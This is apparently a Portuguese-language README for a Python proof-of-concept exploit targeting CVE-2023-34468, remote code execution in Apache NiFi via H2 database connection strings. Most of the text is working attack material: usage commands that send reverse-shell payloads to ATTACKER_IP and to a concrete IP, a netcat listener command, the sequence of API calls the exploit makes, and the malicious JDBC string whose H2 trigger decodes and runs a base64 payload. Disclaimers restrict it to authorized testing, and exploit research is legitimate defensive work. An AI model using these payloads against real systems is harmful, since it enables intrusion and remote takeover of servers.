
CVE-2023-34468 - Apache NiFi H2 RCE PoC
Este repositório fornece uma ferramenta de exploração baseada em Python para a CVE-2023-34468, uma vulnerabilidade crítica de execução remota de código (CVSS 9.8) no Apache NiFi, versões 0.0.2 até 1.21.0. Ela permite que usuários autenticados executem código arbitrário manipulando strings de conexão do banco de dados H2 com triggers incorporados.
⚠️ Aviso: Apenas para fins educacionais e testes autorizados. O acesso não autorizado a sistemas de computador é ilegal.
requestsnc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Inicie seu listener
nc -lnvp 5555
# Execute o exploit — a autenticação é detectada automaticamente, sem flags necessárias para instâncias abertas
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <seu_token_bearer>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
| Comando | Descrição |
|---|---|
-t, --target | URL da instância NiFi de destino (obrigatório) |
-c, --command | Comando a ser executado (obrigatório) |
-lh, --lhost | Host do listener para callback (obrigatório) |
-lp, --lport | Porta do listener para callback (obrigatório) |
-u, --username | Nome de usuário NiFi (instâncias autenticadas) |
-p, --password | Senha NiFi (instâncias autenticadas) |
--token | Token bearer (instâncias autenticadas) |
--no-cleanup | Pular limpeza após a exploração |
--delay | Segundos para aguardar antes da limpeza (padrão: 10) |
--driver-path | Substituir o caminho do jar do driver H2 (omitido por padrão) |
Verificação: Verifique seu listener para a conexão reverse shell. Execute id para confirmar a execução de código.
/nifi-api/system-diagnostics/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status com estado ENABLED/nifi-api/processors/{id}/run-status com estado RUNNING — o trigger H2 é acionado na conexãojdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
Pontos-chave:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (auto-acionado)# Execute o exploit diretamente
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
Esta ferramenta é fornecida apenas para pesquisa de segurança e testes autorizados. O autor não se responsabiliza pelo uso indevido ou danos causados por este exploit. Sempre teste com responsabilidade apenas em ambientes autorizados.
Licença MIT - Consulte o arquivo LICENSE para obter detalhes
Construído para pesquisa de segurança e testes de penetração autorizados.
Tópicos: apache-nifi h2-database rce exploit cve-2023-34468 python segurança-pesquisa